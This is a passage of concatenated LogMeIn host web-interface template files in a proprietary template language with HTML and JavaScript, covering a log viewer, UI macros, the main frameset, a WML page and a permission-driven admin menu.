var trows = new SelectableTableRows(document.getElementById("flist"), false);
</script>

<?
if REQ.LOG
action "fileget" REQ.DIR=DIR.PATH REQ.FILE=REQ.LOG
if FILE.TYPE = "binary"
set DL="1"
elseif WINERRNUM = "2148007953"
set DL="1"
endif
if DL // need to download?
redirect "/download/?dir=" DIR.PATH "&file=" FILE.NAME
exit
endif
?>
<fieldset>
<legend><a name="log">&FILE.NAME&</a></legend>
<pre>&FILE.DATA&</pre>
</fieldset>
&WINERRMSG&
<?endif?>
<br>
<?if UI="secrem"?>
<center><input type="button" value="&DIALOG.BACK&" onclick="javascript:history.back();"></center>
<?endif?>
<br>
</div>	
</body>
</html>
iJmacros.htmlf!<?ratmpl?>
<?
defmacro WINERRDLG()
// show a pop-up dialog if there was
// an error during the last action
if WINERRMSG
?>
<script language="JavaScript">
function err=WINERRNUM=() {
alert("<?if WINERRNUM?>$MSG.DIALOG.ERROR$<?if WINERRCTX?> ($WINERRCTX$)<?endif?>: <?endif?>$WINERRMSG$");
}
setTimeout("err$WINERRNUM$()", 10);
</script>
<?
endif
endmacro

defmacro TITLEICON(ICON)
?>
<img src="/img/lmi_title_&ICON&.png<?if HTTP.USERAGENT has "MSIE 6.0"?>?bg=&COLOR.HdrBack&<?endif?>" width="62" height="51" style="margin: 15 30 5 20; padding: 0px; float: left;">
<?if not BRAND.LOGMEIN?>
<a href="chat.html" id="chatlink" style="display: none; text-decoration: underline; color: #5060C0; font-family: Arial, Tahoma, Verdana; font-size: 12px; font-weight: normal; white-space: nowrap; float: right; margin: 10px;">&MSG.CHAT.REQUESTED&</a>
<script type="text/javascript">
var img;
var t = null;

tryToLoad();
imgError();

function tryToLoad() {
img = new Image();
img.onload = imgLoaded;
img.onerror = imgError;
img.src = "img/initiatechat.bmp?rnd=" + Math.random();
}

function imgLoaded() {
document.getElementById("chatlink").style.display = "block";
clearTimeout(t);
t = setTimeout("tryToLoad()", 5000);
}

function imgError() {
document.getElementById("chatlink").style.display = "none";
clearTimeout(t);
t = setTimeout("tryToLoad()", 5000);
}
</script>
<?endif?>
<?
endmacro

defmacro PERCENTBAR(PERCENT)?><img src="/percentbar.png?percent=%PERCENT%&w=102&h=12&bg=%COLOR.DlgBack%&cf=%COLOR.ServHi%&cu=%COLOR.ServLo%" title="&PERCENT&%" alt="&PERCENT&%" width="102" height="12" align="absmiddle">&nbsp;&PERCENT&%<?endmacro

defmacro PERCENTBARWH(PERCENT,IW,IH)?><img src="/percentbar.png?percent=%PERCENT%&w=%IW%&h=%IH%&bg=%COLOR.DlgBack%&cf=%COLOR.ServHi%&cu=%COLOR.ServLo%" title="&PERCENT&%" title="&PERCENT&%" width="&IW&" height="&IH&" align="absmiddle">&nbsp;&PERCENT&%<?endmacro

defmacro PERCENTBARWHC(PERCENT,IW,IH,CU,CF,CB)?><img src="/percentbar.png?percent=%PERCENT%&w=%IW%&h=%IH%&bg=%CB%&cf=%CF%&cu=%CU%" title="&PERCENT&%" title="&PERCENT&%" width="&IW&" height="&IH&" align="absmiddle">&nbsp;&PERCENT&%<?endmacro

// pda nav buttons (colordef for other icons as well)
set PDATITLEBG="#2a669a"
defmacro PDANAV()
if LORES?><a href="menuPDA.html" align="absmiddle"><img src="img/ico_PDA_back.png?bg=%PDATITLEBG%" align="absmiddle" width=22 height=22></a><?endif
endmacro

defmacro LINECOUNT()
// sets linecount
if REQ.CNT
set session CFG.PERPAGE = REQ.CNT
else
if not CFG.PERPAGE
if LORES
set session CFG.PERPAGE = 8
else
set session CFG.PERPAGE = 15
endif
endif
set REQ.CNT = CFG.PERPAGE
endif
endmacro


defmacro PAGEBAR(KEEP)
// adds next/prev paging button to a list
?>
<script language="JavaScript">
function flipPage(idx, len) {
var url = "$TEMPLATE$?idx=" + idx;
if (len > 0) url += "&cnt=" + len;
<?enum REQVARS?><?if KEEP has REQVAR.NAME?>
url += "&$REQVAR.NAME$=" + escape("$REQVAR.DATA$");
<?endif?><?next?>
window.location = url + "&$RND$";
}
</script>


<?if LORES?><center>
<div>
<table cellpadding=0 cellspacing=0 width="100%" align=center>
<tr>
<td valign=middle nowrap>
<?if PAGE.COUNT < "1" // all buttons grayed?>
|&lt;&lt; &lt;&lt;
<select size="1" disabled></select>
&gt;&gt;&gt;&gt;|
<?else?>
<?if PAGE.HOME?><a href="javascript:flipPage(&PAGE.HOME&,0)">|&lt;&lt;</a><?else?>|&lt;&lt;<?endif?>
<?if PAGE.PREV?><a href="javascript:flipPage(&PAGE.PREV&,0)">&lt;&lt;</a><?else?>&lt;&lt;<?endif?>
<select size="1" onchange="flipPage(this.options[this.selectedIndex].value,0);">
<?enum PAGES?>
<option value="&PAGE.IDX&" <?selected PAGE.NUM = PAGE.CURRENT?>>&MSG.PAGING.NUM&<?if PAGE.STR?>: <?&PAGE.STR_mx6?><?endif?>
<?next?>
</select>
<?if PAGE.NEXT?><a href="javascript:flipPage(&PAGE.NEXT&,0)">&gt;&gt;</a><?else?>&gt;&gt;<?endif?>
<?if PAGE.LAST?><a href="javascript:flipPage(&PAGE.LAST&,0)">&gt;&gt;|</a><?else?>&gt;&gt;|<?endif?>
<?endif?></td></tr>
</table>
</div> 
<?endif?>

<?if not LORES?>
<div class="buttonGroup" style="height: 22px;">
<?if PAGE.COUNT < "1" // all buttons grayed?>
<img src="img/ico_first_off.gif" width=22 height=21 align=absmiddle><img src="img/ico_prev_off.gif" width=22 height=21 align=absmiddle>
<select size="1" disabled></select>
<img src="img/ico_next_off.gif" width=22 height=21 align=absmiddle><img src="img/ico_last_off.gif" width=22 height=21 align=absmiddle>
<?else?>
<?if PAGE.HOME?><a href="javascript:flipPage(&PAGE.HOME&,0)"><img src="img/ico_first.gif" title="&MSG.PAGING.TOFIRST&" align=absmiddle border="0"></a><?else?><img src="img/ico_first_off.gif" width=22 height=21 align=absmiddle><?endif?>
<?if PAGE.PREV?><a href="javascript:flipPage(&PAGE.PREV&,0)"><img src="img/ico_prev.gif"  title="&MSG.PAGING.TOPREV&"  align=absmiddle border="0"></a><?else?><img src="img/ico_prev_off.gif"  width=22 height=21 align=absmiddle><?endif?>
<select size="1" onchange="flipPage(this.options[this.selectedIndex].value,0)">
<?enum PAGES?>
<option value="&PAGE.IDX&" <?selected PAGE.NUM = PAGE.CURRENT?>>&MSG.PAGING.NUM&<?if PAGE.STR?>: <?&PAGE.STR_mx45?><?endif?>
<?next?>
</select>
<?if PAGE.NEXT?><a href="javascript:flipPage(&PAGE.NEXT&,0)"><img src="img/ico_next.gif"  title="&MSG.PAGING.TONEXT&" align=absmiddle border="0"></a><?else?><img src="img/ico_next_off.gif" width=22 height=21 align=absmiddle><?endif?>
<?if PAGE.LAST?><a href="javascript:flipPage(&PAGE.LAST&,0)"><img src="img/ico_last.gif"  title="&MSG.PAGING.TOLAST&" align=absmiddle border="0"></a><?else?><img src="img/ico_last_off.gif" width=22 height=21 align=absmiddle><?endif?>
<?endif?>
<?if not LORES?>
&MSG.PAGING.PERPAGE& <select name="cnt" size="1" onchange="flipPage(<?if REQ.IDX?><?&REQ.IDX?><?else?>0<?endif?>, this.options[this.selectedIndex].text);">
<option <?selected CFG.PERPAGE =  10?>> 10
<option <?selected CFG.PERPAGE =  15?>> 15
<option <?selected CFG.PERPAGE =  20?>> 20
<option <?selected CFG.PERPAGE =  30?>> 30
<option <?selected CFG.PERPAGE =  50?>> 50
<option <?selected CFG.PERPAGE = 100?>>100
<option <?selected CFG.PERPAGE = 500?>>500
</select>
<?endif?><?endif?>
</div> 
<?if LORES?></center><?endif?>
<?
endmacro

defmacro CONFIRMUPDATE()
if SETTINGUPDATED?>
<fieldset>
<b>&MSG.CONFIG.SETTING.UPDATED&</b>
</fieldset><br>
<?endif
endmacro

defmacro SORTABLETH(ASC,DESC,CAPTION)
?>
<a href="javascript:doSort('<?if REQ.SORT=ASC?>&DESC&<?else?>&ASC&<?endif?>');">&CAPTION&
<?if REQ.SORT=ASC?>
<img src="img/ico_asc.gif" width=16 height=10 border="0">
<?else?>
<?if REQ.SORT=DESC?>
<img src="img/ico_desc.gif" width=16 height=10 border="0">
<?else?>
<img src="img/ico_asc_desc.gif" width=13 height=13 border="0">
<?endif?>
<?endif?>
</a>
<?
endmacro

defmacro INCREMENT(N)
switch N
case "0"
set N = "1"
case "1"
set N = "2"
case "2"
set N = "3"
case "3"
set N = "4"
case "4"
set N = "5"
case "5"
set N = "6"
endswitch
endmacro

defmacro OBJECTOPEN(CODEBASE, CLSID, WIDTH, HEIGHT, ID)
if HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE
// need a dummy OBJECT tag for the Console
?>
<!--
<object >
//-->
<script src="js/eolasworkaround.js?emitobjectopen=1&codebase=%CODEBASE%&clsid=%CLSID%&width=%WIDTH%&height=%HEIGHT%&id=%ID%&rnd=%RND%"></script>
<?
else
?>
<object codebase="&CODEBASE&" classid="&CLSID&" width="&WIDTH&" height="&HEIGHT&" id="&ID&" viewastext>
<?
endif
endmacro

defmacro OBJECTCLOSE()
if HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE
// need a dummy OBJECT tag Console
?>
<!--
</object>
//-->
<script src="js/eolasworkaround.js?emitobjectclose=1&rnd=%RND%"></script>
<?
else
?>
</object>
<?
endif
endmacro

defmacro APPLETOPEN(CODEBASE, CODE, WIDTH, HEIGHT, CABBASE, ARCHIVE, ID)
if HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE
// need a dummy APPLET tag for the Console
?>
<!--
<applet >
//-->
<script src="js/eolasworkaround.js?emitappletopen=1&codebase=%CODEBASE%&code=%CODE%&width=%WIDTH%&height=%HEIGHT%&cabbase=%CABBASE%&archive=%ARCHIVE%&id=%ID%&rnd=%RND%"></script>
<?
else
?>
<applet codebase="&CODEBASE&" code="&CODE&" width="&WIDTH&" height="&HEIGHT&" cabbase="&CABBASE&" archive="&ARCHIVE&" viewastext mayscript id="&ID&">
<?
endif
endmacro

defmacro APPLETCLOSE()
if HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE
// need a dummy APPLET tag Console
?>
<!--
</applet>
//-->
<script src="js/eolasworkaround.js?emitappletclose=1&rnd=%RND%"></script>
<?
else
?>
</applet>
<?
endif
endmacro
?>

e5main.htmlu<?ratmpl?>
<?
nocache
// go to login page if not logged in
if not USERNAME
redirect "default.html"
endif
include "macros.html"

// set user interface details
include "setui.html"

include "activex.inc"

if REQ.GO
set LOGIN.DIRECTLY.TO = REQ.GO
endif

// get list of available actions for this session
action "actions"
// set session variables for visible menu categories
include "menuitems.html"

// set LMI Pro UITYPE if user wants to switch back from Admin Toolkit
if BRAND.LOGMEIN and UI = "secrem"
set session UITYPE = "LMI"
endif

// set main page
if UITYPE = "LMI" and not UI = "full"
set MENU = "LMI_menu.html?select=home"
set BODY = "lmistart.html"
elseif UI = "secrem"
//set BODY = "SR/secRem.html"
//set MENU = "menuSR.html"
set MENU = "LMI_menu.html?select=home"
set BODY = "lmistart.html"
elseif UI = "light"
set BODY = "infoLight.html"
set MENU = "menuLight.html"
else
if USE.DASHBOARD
set BODY = "dashboard.html"
else
set BODY = "info.html"
endif
set MENU = "menu.html"
set session UITYPE = ""
endif

// going directly to an applet?
if LOGIN.DIRECTLY.TO="r" and ACTIONS has "-remctrl-"
set BODY = "remctrl.html"
set MENU = MENU "?select=remctrl"
elseif LOGIN.DIRECTLY.TO="f" and ACTIONS has "-filexfer-"
set BODY = "filexfer.html"
set MENU = MENU "?select=filexfer"
elseif LOGIN.DIRECTLY.TO="t" and ACTIONS has "-telnet-"
set BODY = "telnet.html"
set MENU = MENU "?select=telnet"
elseif LOGIN.DIRECTLY.TO="s" and ACTIONS has "-filesharelist-"
set BODY = "lmishare.html"
set MENU = MENU "?select=fileshare"
elseif LOGIN.DIRECTLY.TO="e" and ACTIONS has "-websecurityget-"
set BODY = "lmisecurity.html"
elseif LOGIN.DIRECTLY.TO="c" and ACTIONS has "-chat-"
set BODY = "chat.html"
elseif LOGIN.DIRECTLY.TO="sm" and BRAND.LOGMEIN
set BODY = "lmistart.html"
set MENU = "LMI_menu.html?select=home"
set session UI = "secrem"
set session UITYPE = "LMI"
elseif LOGIN.DIRECTLY.TO="am" and BRAND.LOGMEIN and not BRAND.LOGMEIN.FREE and not FORCEUI
set BODY = "dashboard.html"
set MENU = "menu.html"
set session UI = "full"
set session UITYPE = ""
else // LOGIN.DIRECTLY.TO="m"
set session LOGIN.DIRECTLY.TO = ""
endif

// set the width of the menu
if UI="secrem"
set session MENUWIDTH = "167"
else
set session MENUWIDTH = "197"
endif

// need to change password?
if ACTIONS has "-pwdchg-"
action "pwdinfo"
if PWD.EXPIRED
set BODY = "chgpwd.html?nextpage=" BODY
endif
if PWD.EXPIRESSOON
set BODY = "chgpwd.html?nextpage=" BODY
endif
endif

// any problems with the license? show only if user can do about them.
action "rainfo"
if PERM.CONFIGURE.W
if LICENSE.OVERUSE
set BODY = "cfglicense.html?step=overuse&nextpage=" BODY
elseif LICENSE.EXPIRES
// need to show splash screen?
action "timeget"
if COOKIE.LASTSPLASH != DATE.D
set cookie LASTSPLASH = DATE.D
set BODY = "cfglicense.html?step=splash&nextpage=" BODY
endif
endif
endif

// got any crash dumps? show only if user can do about them.
if PERM.ADMIN
if CRASH.WARN
set BODY = "crash.html?nextpage=" BODY
endif
endif

// add random number to urls
if MENU has "?"
set MENU = MENU "&" RND
else
set MENU = MENU "?" RND
endif
if BODY has "?"
set BODY = BODY "&" RND
else
set BODY = BODY "?" RND
endif

// going directly to an applet?
if LOGIN.DIRECTLY.TO
// if going directly to an applet and not running in webservice mode,
// then break out of the frameset (no menu or titlebar)
if not BRAND.LOGMEIN
set session MENUCOMMAND = "minimize"
endif
// redirect just once (otherwise closing an applet will cause funny things)	
set session LOGIN.DIRECTLY.TO = ""
endif
?>
<html>
<head><?include "setupdomain.html"?>
<?include "passsave.inc"?>
<meta http-equiv="X-UA-Compatible" content="IE=11; requiresActiveX=true" />
<?include "title.inc"?>
<?if LICENSE.OVERUSE?>
<script language="JavaScript">
function licwarn() {
alert('$MSG.INFO.LICENSE.OVERUSE$');
setTimeout("licwarn()", 60*1000);
}
setTimeout("licwarn()", 10);
</script>
<?endif?>

<script language="JavaScript">
function licwarn() {
alert('$MSG.INFO.LICENSE.OVERUSE$');
setTimeout("licwarn()", 60*1000);
}
//        	setTimeout("licwarn()", 10);
</script>

<script language="JavaScript">
if (window.name == "body" && window != parent) parent.location.replace(window.location);
</script>

<link rel="icon" href="favicon.ico" type="image/x-icon">
<link rel="shortcut icon" href="favicon.ico">
</head>

<frameset cols="&MENUWIDTH&, *" id="mainframeset" framespacing="0" frameborder="no">
<frame id="menuframe" name="menu" src="&MENU&" marginheight="0" marginwidth="0" scrolling="auto" border="4" bordercolor=&COLOR.MenuBack& noresize="1">
<frame src="&BODY&" name="body" id="body" noresize="1">
</frameset>

</html>main.wml[ʼn<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<?ratmpl?>
<?nocache?>
<?set session PBAR.BG="black"?>
<?set session PBAR.CU="black"?>
<?set session PBAR.CF="white"?>
<wml> 
<card id="main" title="&SRVNAME&" newcontext="true">
<?include "menu.wml"?>
</card>
</wml> 
=menu.htmlC6<?ratmpl?>
<?nocache?>
<?
// go to login page if not logged in
if not USERNAME
redirect "/default.html"
endif
include "chkobject.inc"
include "macros.html"
if REQ.CHANGEINTERFACE = "0" // need to change interface type
action "cfginterface"
redirect "main.html"
endif
?>
<html>
<head><?include "setupdomain.html"?>
<?action "osinfo"?>		
<?if LOGINTRACKING?>
<script type="text/javascript" src="/js/lmiborgsupport.js"></script>
<script type="text/javascript" src="/js/tracking.js"></script>
<?endif?>
<script type="text/javascript">
function CrankUpRapvobj(bDoFocus) {
var MyGoodApplet = rapv.document.getElementById("rapvobj");
if(bDoFocus && MyGoodApplet)
{
MyGoodApplet.focus();
}
}
</script>
<?include "title.inc"?>
<?include "style.inc"?>
<script type="text/javascript">
function checkMenuCmd()
{
if ("$MENUCOMMAND$" == "minimize") minmaxMenu(true);
}

function OnDocumentLoaded() {
// <?if HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE?>
chkObject('rapvobj2', false); 
// <?endif?>
checkMenuCmd();

<?if LOGINTRACKING?>
var trackAction = 0;
if      ("$LOGINTRACKING$" == "CAC" ) trackAction = kACT_LOGIN_CAC;
else if ("$LOGINTRACKING$" == "UP"  ) trackAction = kACT_LOGIN_UP;
else if ("$LOGINTRACKING$" == "UPD" ) trackAction = kACT_LOGIN_UPD;
<?set session LOGINTRACKING=""?>
Tracking.trackAction(kAPP_LOGIN, trackAction);
<?endif?>
}
</script>
<script src="js/menutools.js?ui=%UI%" type="text/javascript"></script>
<?set session MENUCOMMAND = "" // clear this thing, checkMenuCmd() has the info?>
<script src="js/xtree.js" type="text/javascript"></script>
<link type="text/css" rel="stylesheet" href="css/xtree.css">
<base target="body">
</head>
<body onload="OnDocumentLoaded();" style="overflow: hidden;">
<div id="menucontent" class="menu" style="height: 100%; width: 190px;<?if BRAND.LOGMEIN and HTTP.USERAGENT not has "MSIE 6.0"?><? if WHITELABELEDACCOUNT has "0" ?><? if ISCENTRAL has "1" ?>background: transparent url(img/lmi_central_blue_hex.png) no-repeat bottom 20px center; background-size: 75%;<? else ?>background: transparent url(img/lmi_pro_blue_hex.png) no-repeat bottom 20px center; background-size: 75%;<? endif ?><? endif ?><?endif?>">
<?if BRAND.LOGMEIN?>
<div style="font: normal 12px arial; white-space: nowrap; padding-left: 30px; height: 14px; cursor: default; color: white; background: #212740 url(img/itr_menu_min_n.jpg) no-repeat bottom left;" onclick="parent.location.replace('$TEMPLATE$?changeinterface=0');" onmouseout="this.style.backgroundImage='url(\'img/itr_menu_min_n.jpg\')';" onmouseover="this.style.backgroundImage='url(\'img/itr_menu_min_h.jpg\')';">
&MSG.MENU.SWITCH.TO.MAIN&
</div>
<?endif?>
<?if CFG.PERFVIEW > 0?>
<iframe src="rapv.html" id="rapv" name="rapv" width="174" height="45" frameborder="0" style="margin: 3px 8px 3px 8px;"></iframe>
<?endif?>
<div id="menubar" style="padding: 0px; margin: 0px; width: 190px; position: relative; z-index: 2;">
<?include "borgmenu.html"?>
<script type="text/javascript">
var tree = null;
var menu = null;
var gStartPage = <? if USE.DASHBOARD ?>"dashboard.html"<? else ?>"info.html"<? endif ?>;

function IsStartPage() {
var sUrl = parent.frames["body"].location.toString();
return (sUrl && sUrl.contains(gStartPage));
}

function TryToStartLogMeInClientApp(sMode, bView) {
if (IsStartPage()) {
StartLogMeInClient(sMode, bView);
} else {
sUrl = gStartPage + "?startclient=" + sMode;
if (bView) { sUrl += "&view=1"; }
parent.frames["body"].location.replace(sUrl);
}
}

function OnXTreeMenuClick(sUrl, bNewWindow) {
var bView = false;
if (! LMIBrowserInfo.IsPluginsSupported() && ! sUrl.toLowerCase().contains("?type=")) {
if (sUrl.contains("remctrl.html")) {
if (sUrl.contains("?view=1")) {
bView = true;
}
TryToStartLogMeInClientApp("01", bView);
return;
}
if (sUrl.contains("filexfer.html")) {
TryToStartLogMeInClientApp("02");
return;
}
if (LMIBrowserInfo.GetPlatform() != "Mac") {
if (sUrl.contains("telnet.html")) {
TryToStartLogMeInClientApp("03");
return;
}
if (sUrl.contains("chat.html")) {
TryToStartLogMeInClientApp("04");
return;
}
}
}
if (sUrl.contains('logout=yes')) {
top.location.replace(sUrl);
} else if (! bNewWindow) {
parent.frames["body"].location.replace(sUrl);
} else {
window.open(sUrl);
}
}

function rndPage(page) {
return page + (page.indexOf('?') < 0 ? '?' : '&') + Math.floor(Math.random() * 32768);
}

function addTop(name, icon, page, target) {
icon = '/img/itr_menu_' + icon + '.png';
menu = new RATreeItem(name, page ? rndPage(page) : '', tree, icon, icon, target);
}

function addSub(edit, name, page, target) {
new RATreeItem(name, rndPage(page), menu, (edit ? 'img/menu_file_edit.png' : 'img/menu_file_info.png') + '?bg=%COLOR.MenuBack%', null, target);
}
if (document.getElementById) {
RATreeConfig.rememberState = true;
tree = new RATree('$SRVNAME$', '', 'classic', 
<?if BRAND.LOGMEIN?>'img/menu_lmi.png?bg=%COLOR.MenuBack%'<?else?>'img/menu_ra.png?bg=%COLOR.MenuBack%'<?endif?>, 
<?if BRAND.LOGMEIN?>'img/menu_lmi.png?bg=%COLOR.MenuBack%'<?else?>'img/menu_ra.png?bg=%COLOR.MenuBack%'<?endif?>,
'slide');
<?if USE.DASHBOARD?>
addTop('$MSG.MENU.DASHBOARD$', 'dashboard', 'dashboard.html');
<?else?>
addTop('$MSG.MENU.HOME$', 'home', 'info.html');
<?endif?>
<?if ACTIONS has "-remctrl-"?>
addTop('$MSG.REMCTRL.TITLE$', 'remote', 'remctrl.html');
<?if ACTIONS has "-activex-"?>
if (LMIBrowserInfo.IsPluginsSupported()) {
addSub(true, 'ActiveX', 'remctrl.html?type=activex');
} else {
addSub(true, 'Client App', 'remctrl.html');
}
<?if ACTIONS has "-remctrl2-"?>
addSub(true, 'HTML', 'remctrl.html?type=html&track=yes&new=1');
<?endif?>
<?endif?>
<?endif?>
<?if ACTIONS has "-filexfer-"?>
addTop('$MSG.FILEXFER.TITLE$', 'filetransfer', 'filexfer.html');
<?if ACTIONS has "-activex-"?>
if (LMIBrowserInfo.IsPluginsSupported()) {
addSub(true, 'ActiveX', 'filexfer.html?type=activex');
} else {
addSub(true, 'Client App', 'filexfer.html');
}
<?endif?>
<?if ACTIONS has "-filelist-"?>
addSub(true, 'HTML', 'drives.html?track=yes');
<?endif?>
<?endif?>
<?if BRAND.LOGMEIN and ACTIONS has "-remctrl-"?>
if (LMIBrowserInfo.GetName() == "Safari" ||	LMIBrowserInfo.GetName() == "Firefox" || LMIBrowserInfo.GetName() == "Chrome")
{
addTop('$MSG.MENU.STREAMING.TITLE$', 'streaming-full-width', 'streaming.html');
var noOfMonitors = parseInt("&SCREEN.MONITORS&");
if (noOfMonitors > 1)
{
for (i = 0; i < noOfMonitors; i++)
{
addSub(false, "$INFO.DISP.TYPE.MONITOR$ " + (i + 1), 'streaming.html?monitor=' + i);
}
}
}
<?endif?>
<?if ACTIONS has "-filesharelist-"?>
addTop('$MSG.WEBSVC.SHARE.TITLE$', 'fileshare', 'lmishare.html');
<?endif?>
<?if ACTIONS has "-guestinvite-" and not CFG.RemoteControl.AllowInvites = "0"?>
addTop('$MSG.RAGUI.GUESTINVITE.START.CAPTION$', 'guestinvite', 'guestinvite.html');
<?endif?>
<?if ACTIONS has "-chat-"?>
addTop('$MSG.CHAT.TITLE$', 'chat', 'chat.html');
<?if ACTIONS has "-activex-"?>
if (LMIBrowserInfo.IsPluginsSupported()) {
addSub(true, 'ActiveX', 'chat.html?type=activex');
} else if (LMIBrowserInfo.GetPlatform() != "Mac") {
addSub(true, 'Client App', 'chat.html');
}
<?endif?>
<?endif?>
<?if ACTIONS has "-loadtest-"?>
addTop('Load tester', 'ra', 'loadtest.html');
<?endif?>
<?if DISPLAYSYSMGR?>
addTop('$MSG.MENU.SYSMGR$', 'manage');
<?if ACTIONS has "-userlist-"		?>addSub(true,  '$MSG.ADMIN.USERMANAGER.TITLE$',	'userlist.html'			);<?endif?>
<?if ACTIONS has "-evtinfo-"		?>addSub(true,  '$MSG.ADMIN.EVENTS.TITLE$',			'evtlogs.html'			);<?endif?>
<?if ACTIONS has "-svcinfo-"		?>addSub(true,  '$MSG.ADMIN.SERVICE.TITLE$',		'svclist.html?what=svc'	);<?endif?>
<?if ACTIONS has "-procinfo-"		?>addSub(true,  '$MSG.ADMIN.PROCESS.TITLE$',		'proclist.html'			);<?endif?>
<?if ACTIONS has "-svcinfo-"		?>addSub(true,  '$MSG.ADMIN.SERVICE.DRVTITLE$',		'svclist.html?what=drv'	);<?endif?>
<?if ACTIONS has "-reginfo-"		?>addSub(true,  '$MSG.ADMIN.REGISTRY.TITLE$',		'regframes.html'		);<?endif?>
<?if ACTIONS has "-telnet-"			?>	
<?if XTERM.SUPPORT?>
<?if HTTP.USERAGENT.RACONSOLE?>
addSub(true,  '$MSG.TELNET.TITLE$',	'telnet.html');
<?else?>
<?if HTTP.USERAGENT.IE?>
addSub(true,  '$MSG.TELNET.TITLE$',	'hterm.html','_blank');
<?else?>
addSub(true,  '$MSG.TELNET.TITLE$',	'term.html', '_blank');
<?endif?>
<?endif?>
<?else?>
addSub(true,  '$MSG.TELNET.TITLE$', 'telnet.html');
<?endif?>
<?endif?>
<?if ACTIONS has "-restart-"		?>addSub(true,  '$MSG.ADMIN.REBOOT.TITLE$',			'restart.html'			);<?endif?>
<?if ACTIONS has "-remctrl-"		?>addSub(true,  '$MSG.REMCTRL.TITLEVIEWONLY$',		'remctrl.html?view=1'	);<?endif?>
<?endif?>
<?if DISPLAYSYSCFG?>
addTop('$MSG.MENU.SYSCFG$', 'admin');
<?if ACTIONS has "-envlist-"		?>addSub(true,  '$MSG.ADMIN.ENVIRON.TITLE$',		'env.html'				);<?endif?>
<?if ACTIONS has "-vmeminfo-"		?>addSub(true,  '$MSG.ADMIN.VMEM.TITLE$',			'vmem.html'				);<?endif?>
<?if ACTIONS has "-timeset-"		?>addSub(true,  '$MSG.ADMIN.TIME.TITLE$',			'time.html'				);<?endif?>
<?if ACTIONS has "-shareinfo-"		?>addSub(true,  '$MSG.ADMIN.SHARE.TITLE$',			'share.html'			);<?endif?>
<?if ACTIONS has "-cfgautopri-"		?>addSub(true,  '$MSG.ADMIN.AUTOPRI.TITLE$',		'cfgautopri.html'		);<?endif?>
<?endif?>
<?if DISPLAYSERVER?>
addTop('$MSG.MENU.FUNCTIONS$', 'server');
<?if ACTIONS has "-ftpserverlist-"	?>addSub(true,  '$MSG.FTP.CONFIG$',					'ftplist.html'			);<?endif?>
<?if ACTIONS has "-ftpconns-"		?>addSub(false, '$MSG.FTP.STATUS$',					'ftpstatus.html'		);<?endif?>
<?if ACTIONS has "-ftpservstats-"	?>addSub(false, '$MSG.FTP.STATS$',					'ftpstats.html'			);<?endif?>
<?if ACTIONS has "-cfgpfwd-"		?>addSub(true,  '$MSG.CONFIG.PORTFWD.TITLE$',		'cfgportfwd.html'		);<?endif?>
<?if ACTIONS has "-statpfwd-"		?>addSub(false, '$MSG.CONFIG.PORTFWD.STATUSTITLE$',	'statportfwd.html'		);<?endif?>
<?if ACTIONS has "-adsinfo-"		?>addSub(false, '$MSG.INFO.ADS.TITLE$',				'adsinfo.html'			);<?endif?>
<?endif?>
<?if DISPLAYSCHED?>
addTop('$MSG.MENU.SCHED$', 'schedule');
<?if not BRAND.LOGMEIN?>
<?if ACTIONS has "-alertlist-"		?>addSub(true, '$MSG.ADMIN.ALERTS.TITLE$',			'emailalert.html'		);<?endif?>
<?endif?>
<?if ACTIONS has "-websvcalertlist-"?>addSub(true, '$MSG.WEBSVCALERT.TITLE$',			'websvcalert.html'		);<?endif?>
<?if ACTIONS has "-taskinfo-"		?>addSub(true, '$MSG.ADMIN.SCHEDULE.TITLE$',		'sched.html'			);<?endif?>
<?endif?>
<?if DISPLAYPERF?>
addTop('$MSG.PERF.TITLE$', 'perf');
<?if ACTIONS has "-perfmon-"		?>addSub(false, '$MSG.PERF.TYPE.CPU$',				'perfmon.html?type=cpu'	);<?endif?>
<?if ACTIONS has "-perfmon-"		?>addSub(false, '$MSG.PERF.TYPE.MEM$',				'perfmon.html?type=mem'	);<?endif?>
<?if ACTIONS has "-perfmon-"		?>addSub(false, '$MSG.PERF.TYPE.DRV$',				'perfmon.html?type=drv'	);<?endif?>
<?if ACTIONS has "-hddlist-"		?>addSub(false, '$MSG.INFO.DRIVE.TITLE$',			'drvinfo.html'			);<?endif?>
<?if ACTIONS has "-portlist-"		?>addSub(false, '$MSG.INFO.PORT.TITLE$',			'portlist.html'			);<?endif?>
<?if ACTIONS has "-netlist-"		?>addSub(false, '$MSG.INFO.NETINFO.TITLE$',			'netinfo.html'			);<?endif?>
<?if ACTIONS has "-objlistfile-"	?>addSub(false, '$MSG.INFO.FILES.TITLE$',			'objinfo.html?showfile=1');<?endif?>
<?if ACTIONS has "-objlistreg-"		?>addSub(false, '$MSG.INFO.REG.TITLE$',				'objinfo.html?showregk=1');<?endif?>
<?if ACTIONS has "-dlllist-"		?>addSub(false, '$MSG.INFO.DLL.TITLE$',				'dlllist.html'			);<?endif?>
<?if ACTIONS has "-perfmon-"		?>addSub(false, '$MSG.INFO.CONNS.TITLE$',			'connlist.html'			);<?endif?>
<?if ACTIONS has "-telnetconn-"		?>addSub(false, '$MSG.CONFIG.TELNET.CONNECTIONS$',	'telnetconn.html'		);<?endif?>
<?if ACTIONS has "-applist-"		?>addSub(false, '$MSG.INFO.APPS.TITLE$',			'apps.html'				);<?endif?>
<?if ACTIONS has "-mbminfo-"		?>addSub(false, '$MSG.PERF.MBOARD.TITLE$',			'perfmboard.html'		);<?endif?>
<?if ACTIONS has "-perfmon-"		?>addSub(false, '$MSG.INFO.DRIVERLIST.TITLE$',		'driverlist.html'		);<?endif?>
<?endif?>
<?if not BRAND.LOGMEIN and DISPLAYSEC?>
addTop('$MSG.MENU.SECURITY$', 'secure');
<?if ACTIONS has "-cfgperm-"		?>addSub(true,  '$MSG.CONFIG.PERMISSIONS.TITLE$',	'cfgperm.html'			);<?endif?>
<?if ACTIONS has "-cfgrsa-"			?>addSub(true,  '$MSG.LOGIN.RSA.NAME$',				'cfgrsa.html'			);<?endif?>
<?if ACTIONS has "-lockout-"		?>addSub(true,  '$MSG.CONFIG.IPLOCKOUT.TITLE$',		'cfglockout.html'		);<?endif?>
